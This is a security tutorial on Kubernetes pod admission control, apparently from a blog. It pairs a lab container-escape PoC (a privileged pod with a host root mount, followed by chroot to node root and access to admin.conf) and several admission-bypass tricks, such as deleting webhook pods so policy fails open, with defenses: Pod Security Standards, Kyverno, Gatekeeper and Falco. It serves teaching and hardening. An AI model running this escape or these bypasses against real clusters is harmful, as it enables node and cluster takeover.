Introduction / Overview
Disclaimer: This article is for educational purposes and authorized security testing only. Run these techniques exclusively against clusters you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction.
A Kubernetes pod is just a Linux process tree wrapped in namespaces and cgroups. If an attacker can schedule a pod with the wrong securityContext — privileged, host-mounted, or running as root — that boundary collapses, and a single namespace compromise becomes full node and often full cluster compromise. Admission control is the gate that decides which pod specs are allowed to run. This post walks through how a misconfigured admission posture is abused, then weights an equal amount of defense: Pod Security Standards (PSS), OPA Gatekeeper, and Kyverno.
How it works / Background
When a pod-creating request hits the API server, it passes through authentication, authorization (RBAC), and finally admission controllers before being persisted to etcd. Admission controllers come in two flavors:
- Validating controllers accept or reject the request.
- Mutating controllers rewrite the spec before validation.
Kubernetes ships a built-in Pod Security Admission (PSA) controller (stable since v1.25, replacing the removed PodSecurityPolicy). PSA enforces the three Pod Security Standards profiles via namespace labels:
privileged— unrestricted.baseline— blocks the most obvious escapes (host namespaces, privileged containers, mosthostPath).restricted— heavily locked down: non-root,seccompProfile: RuntimeDefault, dropped capabilities, no privilege escalation.
PSA is intentionally simple. For richer policy — image registries, label requirements, custom field logic — teams add a webhook-based engine like OPA Gatekeeper (Rego-based constraints) or Kyverno (YAML-native policies). Both register as ValidatingWebhookConfiguration (and, for Kyverno, MutatingWebhookConfiguration) objects.
Prerequisites / Lab setup
You need a throwaway cluster. kind is ideal because it is disposable and you control the host.
# Spin up a local cluster
kind create cluster --name pss-lab --image kindest/node:v1.30.0
kubectl cluster-info --context kind-pss-lab
# Confirm the Pod Security Admission plugin is active (built in)
kubectl get --raw='/api/v1/namespaces/default' | grep -o 'pod-security[^"]*' || trueBashWalkthrough / PoC
Step 1 — Baseline: an unrestricted namespace
By default a fresh namespace has no PSS labels and allows anything. A classic node-takeover pod mounts the host root filesystem:
# evil-pod.yaml — host filesystem escape primitive
apiVersion: v1
kind: Pod
metadata:
name: hostmount
spec:
hostPID: true
containers:
- name: shell
image: busybox
command: ["/bin/sh", "-c", "sleep 3600"]
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /YAMLkubectl apply -f evil-pod.yaml
kubectl exec -it hostmount -- chroot /host /bin/sh
# You are now effectively root on the node; read /host/etc/kubernetes/admin.conf etc.BashThis maps to MITRE ATT&CK T1611 (Escape to Host). The privileged: true flag plus hostPath: / is the entire exploit.
Step 2 — Enforce Pod Security Standards
Label the namespace to enforce restricted:
kubectl label namespace default \
pod-security.kubernetes.io/enforce=restricted \
pod-security.kubernetes.io/enforce-version=v1.30 \
pod-security.kubernetes.io/warn=restrictedBashRe-apply the malicious pod and PSA rejects it before it ever schedules:
kubectl apply -f evil-pod.yaml
# Error from server (Forbidden): error when creating "evil-pod.yaml":
# pods "hostmount" is forbidden: violates PodSecurity "restricted:v1.30":
# privileged (container "shell" must not set securityContext.privileged=true),
# allowPrivilegeEscalation != false, ... hostPath volumes ...BashStep 3 — A compliant, hardened pod
# hardened-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: hardened
spec:
securityContext:
runAsNonRoot: true
runAsUser: 10001
seccompProfile:
type: RuntimeDefault
containers:
- name: app
image: nginxinc/nginx-unprivileged:stable
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]YAMLStep 4 — PSA gaps and where engines step in
PSA is coarse: it cannot say "only images from registry.internal.corp are allowed" or "every pod must carry an owner label." This is where Gatekeeper and Kyverno operate.
Kyverno example — block latest-tag and untrusted registries:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: restrict-image-registries
spec:
validationFailureAction: Enforce
background: true
rules:
- name: validate-registry
match:
any:
- resources:
kinds: ["Pod"]
validate:
message: "Images must come from registry.internal.corp"
pattern:
spec:
containers:
- image: "registry.internal.corp/*"YAMLkubectl create -f https://github.com/kyverno/kyverno/releases/download/v1.12.0/install.yaml
kubectl apply -f restrict-image-registries.yaml
kubectl run nginx --image=nginx:latest # rejected by the Kyverno webhookBashOPA Gatekeeper example — a ConstraintTemplate plus Constraint enforcing dropped capabilities:
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sPSPCapabilities
metadata:
name: drop-all-capabilities
spec:
match:
kinds:
- apiGroups: [""]
kinds: ["Pod"]
parameters:
requiredDropCapabilities: ["ALL"]YAMLStep 5 — Attacker thinking: bypass the gate
Admission control protects the write path, not running workloads. Common offensive angles:
- Find an excluded namespace. Many teams exempt
kube-system; a pod schedulable there often inherits broad privileges. Checkkubectl get validatingwebhookconfigurations -o yamlfornamespaceSelectorexclusions. - Abuse
failurePolicy: Ignore. If the webhook pod is down and policy fails open, malicious specs sail through. Trykubectl -n kyverno delete pod --allif you hold that RBAC. - Use a workload controller. Gatekeeper/Kyverno that only
matchPodcan miss aDeploymentorJobwhose pod template carries the offending fields, unless the policy also matches the controllers.
Mermaid diagram

The diagram shows a pod request flowing through RBAC, mutating webhooks, built-in Pod Security Admission, and validating webhooks before it is ever scheduled.
Detection & Defense (Blue Team)
Defense should be layered, since each control covers a different gap:
-
Enforce PSS on every namespace. Apply
restrictedby default and explicitly downgrade only where justified. Audit with:
Bashkubectl get ns -o json | jq -r '.items[] | [.metadata.name, (.metadata.labels["pod-security.kubernetes.io/enforce"] // "NONE")] | @tsv' -
Run a policy engine in
Enforcemode, not justAudit. Match pod controllers (Deployment,StatefulSet,Job,CronJob), not only barePodobjects, so attackers cannot smuggle fields through templates. -
Set
failurePolicy: Failon criticalValidatingWebhookConfigurationobjects so policy fails closed when the engine is unavailable. Run webhook pods highly-available with aPodDisruptionBudget. -
Minimize webhook exemptions. Audit
namespaceSelectorand Gatekeeper/Kyverno exclusion lists; an exempt namespace is a backdoor. -
Runtime detection. Admission only guards the write path. Deploy Falco to catch escapes at runtime. A rule like "Launch Privileged Container" or "Read sensitive file" flags activity even if a privileged pod slips in:
Bashhelm repo add falcosecurity https://falcosecurity.github.io/charts helm install falco falcosecurity/falco --namespace falco --create-namespace -
Audit-log mining. Alert on
create/updateof pods wheresecurityContext.privileged=true,hostPID/hostNetwork/hostIPC=true, orhostPathvolumes appear. These map to MITRE ATT&CK T1610 (Deploy Container) and T1611 (Escape to Host). -
Tighten RBAC. No admission control matters if a subject can
createpods in a privileged namespace ordeletethe webhook deployment. Runkubectl auth can-i --listper service account, and consider tools like kube-hunter and cluster recon to map the surface.
For broader container hardening, see Container breakout techniques and seccomp and AppArmor profiles in practice.
Conclusion
Pod admission control is the cheapest, highest-leverage Kubernetes hardening you can apply. Built-in Pod Security Admission stops the obvious escapes for free; Gatekeeper and Kyverno add the contextual policy PSA cannot express. But none of it protects a running pod — pair admission control with runtime detection and least-privilege RBAC, and verify your policies fail closed. From an offensive standpoint, always look for the excluded namespace and the fail-open webhook; from a defensive standpoint, close exactly those gaps.
References
- Kubernetes Docs — Pod Security Standards: https://kubernetes.io/docs/concepts/security/pod-security-standards/
- Kubernetes Docs — Pod Security Admission: https://kubernetes.io/docs/concepts/security/pod-security-admission/
- Kyverno Documentation: https://kyverno.io/docs/
- OPA Gatekeeper: https://open-policy-agent.github.io/gatekeeper/website/docs/
- Falco Rules: https://falco.org/docs/
- MITRE ATT&CK for Containers — T1610, T1611: https://attack.mitre.org/matrices/enterprise/containers/
- HackTricks — Kubernetes Security: https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments